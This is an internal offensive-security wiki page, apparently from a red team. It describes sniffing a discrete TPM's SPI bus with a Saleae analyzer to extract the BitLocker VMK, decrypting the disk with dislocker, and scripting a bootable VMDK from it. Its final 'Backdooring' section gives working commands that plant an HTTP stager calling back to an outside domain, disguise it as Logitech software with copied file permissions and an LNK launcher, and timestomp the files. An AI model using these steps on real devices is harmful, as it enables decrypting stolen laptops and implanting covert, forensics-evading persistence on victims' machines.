Offensive Security/Extract BitLocker VMK from TPM
BitLocker VMK Extraction via SPI
Prerequisites
- Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it's a firmware-based TPM.
- A logic analyzer. In the office we have a Saleae.
- Logic analyzer software. We use Logic 2.
Extracting BitLocker VMK
Locating the TPM Chip
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.
The best way to find schematics is to find the model number of the motherboard and search for that + "schematics".
Sources for finding schematics:
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.
Locating the SPI Bus Pins
After identifying the TPM chip, locate the following SPI bus pins:
- CLK (Clock)
- CS (Chip Select)
- MOSI (Master Out, Slave In)
- MISO (Master In, Slave Out)
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.
Configuring Logic 2
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:
| Saleae Channel | Logic 2 Label | SPI Signal |
|---|---|---|
| Channel 0 | D0 | CLK |
| Channel 1 | D1 | CS |
| Channel 2 | D2 | MOSI |
| Channel 3 | D3 | MISO |
Voltage Configuration: Before capturing, set the correct voltage threshold in Logic 2's device settings. Consult the chip's datasheet or motherboard schematic to determine the TPM's operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.
Adding the SPI Analyzer
In Logic 2, click Analyzers and add the built-in SPI analyzer. Configure with the following settings:
| Setting | Value |
|---|---|
| MOSI | Assign to your MOSI channel |
| MISO | Assign to your MISO channel |
| Clock | Assign to your CLK channel |
| Enable (CS) | Active High (if probing from flash chip CS line) |
| Bits per Transfer | 8 bits |
| Significant Bit | MSB first |
| Clock State | Rising edge (most TPMs) |
| Stream to Terminal | Disabled |
Loading the BitLocker SPI Toolkit
To automatically identify the VMK in captured SPI traffic, use the GitHub - ReversecLabs/bitlocker-spi-toolkit.
- Go to Extensions → Load Existing Extension
- Navigate to the cloned repo's
analyzerfolder - Load the BitLocker-Key-Extractor extension
- Edit the extension settings and set the Input Analyzer to SPI
- Enable Stream to Terminal
Attaching Probes and Capturing
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.
- Click Start in Logic 2
- Immediately power on the target device
- Wait until Windows has loaded (Windows logo or login screen is visible)
- Click Stop to end the capture
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a 32-byte hexadecimal string in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.
Decrypting the Drive
Boot a DFIR operating system from USB, such as:
The following commands will mount the drive as read-only:
# Create two directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount
# If your VMK is in hex, convert it to binary
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin
# Use fdisk to identify correct drive
fdisk -l
# Decrypt with dislocker (READ ONLY)
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
# Mount virtual files
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount
# Verify read only
mount | grep bitlocker
# Unmount
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker
Contact PwC Forensics to help with cloning or imaging of the disk, as they have the appropriate tools.
Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk
Step 1: Mount the Backup Image
losetup -Pf --show /path/to/BackupImage.001
Expected output: /dev/loop0 or /dev/loop1.
Step 2: Inspect Partition Layout
fdisk -l /dev/loop1
Example output:
/dev/loop1p1— 500M EFI System/dev/loop1p2— 128M Microsoft Reserved/dev/loop1p3— 250G Microsoft Basic Data (BitLocker encrypted)/dev/loop1p4— 2.4G Windows Recovery Environment
Step 3: Decrypt BitLocker Volume
echo "VMK_VALUE" | xxd -r -p > vmk.bin
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker
This creates a decrypted file called dislocker-file.
Step 4: Mount Decrypted Volume
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted
mount # Verify mounted with ro
Step 5: Verification Commands
# Verify loop devices
losetup -a
# Check partition details
parted /dev/loop1 unit MiB print
# Verify mounts
mount | grep loop
df -h | grep loop
# Check available space
df -h "OUTPUT-FOLDER"
# Verify required tools
which mkfs.ntfs rsync parted
# Verify decrypted data
ls -la /mnt/bitlocker_mounted | head -20
Step 6: Create Bootable VMDK (Script)
The script below will:
- Create a 244GB raw disk image (adjust based on your image size)
- Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)
- Format EFI partition (FAT32) and copy boot files
- Format Windows partition (NTFS) and copy all decrypted data
- Format recovery partition (NTFS)
- Convert raw image to VMDK format
- Clean up temporary files
Notes before running:
- Lines 16–21: Verify variables are correct before proceeding
- Line 92: Change partition size depending on image size
- Line 106: Change depending on image size
- Time estimate: 30–60 minutes
- Temporary space needed: ~250GB
- Final VMDK size: ~74GB (varies by source image)
#!/bin/bash
# ==============================================================================
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk
# ==============================================================================
set -e
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
ENCRYPTED_LOOP="/dev/loop0"
DECRYPTED_MOUNT="/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount"
WORK_DIR="/mnt/hgfs/Shared_Kali/Laptop Image"
RAW_IMAGE="$WORK_DIR/new_bootable_disk.img"
FINAL_VMDK="$WORK_DIR/Windows_Bootable.vmdk"
TEMP_LOOP=""
print_status() { echo -e "${GREEN}[+]${NC} $1"; }
print_error() { echo -e "${RED}[!]${NC} $1"; }
print_warning(){ echo -e "${YELLOW}[*]${NC} $1"; }
cleanup() {
print_warning "Cleaning up..."
umount /mnt/new_efi 2>/dev/null || true
umount /mnt/old_efi 2>/dev/null || true
umount /mnt/new_win 2>/dev/null || true
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
if [ -n "$TEMP_LOOP" ] && [ -b "$TEMP_LOOP" ]; then
losetup -d "$TEMP_LOOP" 2>/dev/null || true
fi
qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
}
trap cleanup EXIT
print_status "Running pre-flight checks..."
if [ "$EUID" -ne 0 ]; then
print_error "Please run as root"; exit 1
fi
if ! command -v sgdisk &> /dev/null; then
print_error "sgdisk not installed. Run: apt install gdisk"; exit 1
fi
if [ ! -b "$ENCRYPTED_LOOP" ]; then
print_error "Encrypted loop device $ENCRYPTED_LOOP not found"; exit 1
fi
if [ ! -d "$DECRYPTED_MOUNT" ]; then
print_error "Decrypted mount point $DECRYPTED_MOUNT not found"; exit 1
fi
AVAILABLE_SPACE=$(df -BG "$WORK_DIR" | awk 'NR==2 {print $4}' | sed 's/G//')
if [ "$AVAILABLE_SPACE" -lt 250 ]; then
print_error "Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB"; exit 1
fi
print_status "Pre-flight checks passed!"
print_warning "This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue..."
read
print_status "Creating 244GB raw disk image..."
qemu-img create -f raw "$RAW_IMAGE" 244198M
print_status "Setting up loop device..."
TEMP_LOOP=$(losetup -fP --show "$RAW_IMAGE")
print_status "Using loop device: $TEMP_LOOP"
sleep 2
print_status "Creating GPT partition table with sgdisk..."
sgdisk -Z "$TEMP_LOOP" 2>/dev/null || true
sgdisk -n 1:2048:1026047 -t 1:EF00 -c 1:"EFI system partition" "$TEMP_LOOP"
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:"Microsoft reserved partition" "$TEMP_LOOP"
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:"Basic data partition" "$TEMP_LOOP"
sgdisk -n 4:494993408:0 -t 4:2700 -c 4:"Basic data partition" "$TEMP_LOOP"
sgdisk -A 1:set:0 "$TEMP_LOOP"
sgdisk -A 4:set:62 "$TEMP_LOOP"
partprobe "$TEMP_LOOP" 2>/dev/null || true
sleep 3
if [ ! -b "${TEMP_LOOP}p1" ]; then
print_error "Partition creation failed"; exit 1
fi
sgdisk -p "$TEMP_LOOP"
print_status "Formatting EFI partition..."
mkfs.vfat -F32 "${TEMP_LOOP}p1"
print_status "Copying EFI boot files..."
mkdir -p /mnt/new_efi /mnt/old_efi
mount "${TEMP_LOOP}p1" /mnt/new_efi
mount "${ENCRYPTED_LOOP}p1" /mnt/old_efi
cp -av /mnt/old_efi/* /mnt/new_efi/
umount /mnt/new_efi
umount /mnt/old_efi
print_status "Formatting Windows partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p3"
print_status "Copying Windows data..."
mkdir -p /mnt/new_win
mount "${TEMP_LOOP}p3" /mnt/new_win
rsync -aP --info=progress2 "$DECRYPTED_MOUNT/" /mnt/new_win/
SRC_SIZE=$(du -sb "$DECRYPTED_MOUNT" | cut -f1)
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)
print_status "Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes"
umount /mnt/new_win
print_status "Formatting recovery partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p4"
print_status "Detaching loop device..."
losetup -d "$TEMP_LOOP"
TEMP_LOOP=""
print_status "Converting to VMDK..."
qemu-img convert -f raw -O vmdk -p "$RAW_IMAGE" "$FINAL_VMDK"
qemu-img info "$FINAL_VMDK"
print_status "Cleaning up..."
rm -f "$RAW_IMAGE"
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
print_status "VMDK creation complete! Output: $FINAL_VMDK"
print_status "Next steps:"
print_status "1. Import $FINAL_VMDK into VMware/VirtualBox"
print_status "2. Configure VM as UEFI boot"
print_status "3. If boot fails, use Windows installation media to run bootrec/bcdboot"
Step 7: Import VMDK to VMware
- Create a new VM
- Select Use existing virtual disk
- Select your newly created
Windows_Bootable.vmdk - Set Firmware to UEFI
- RAM: 8GB
- Processor: 2+ cores
Troubleshooting
If the VM fails to boot:
- Mount a Windows 11 installation ISO
- Select Repair your computer
- If that fails: Troubleshoot → Advanced Options → Command Prompt
- Run the following:
diskpart
list volume
select volume VOLUME_NUMBER # Should be your EFI partition
assign letter S:
exit
bcdboot C:\Windows /s S: /f UEFI
exit # Remove ISO and reboot
Backdooring
Mount Drive (Read Only)
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount
mount | grep bitlocker
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker
Deploying Stager
stagers create-http NodeNative net481 https://logic-update.azure-api.net \
--filename UserCache \
--userAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"
Copy the UserCache file to the LogiOptionsPlus folder, then copy the content to the target under:
C:\Users\username\AppData\Local\
Setting File Permissions
Find an existing file from the target user directory and save its permissions:
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini > perms.txt
Apply those permissions to all files in the LogiOptionsPlus folder:
find . -exec setfattr -n system.ntfs_acl -v \
"$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" {} \;
Verify permissions:
ntfssecaudit ffmpeg.dll
Creating LNK File
Using mslink:
/home/alaa/mslink_v1.3.sh \
-o logioptionsplus.lnk \
-w 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus' \
-l 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe'
Apply permissions to the LNK file as well:
setfattr -n system.ntfs_acl -v \
"$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
logioptionsplus.lnk
Timestomping
touch -d "2 hours ago" filename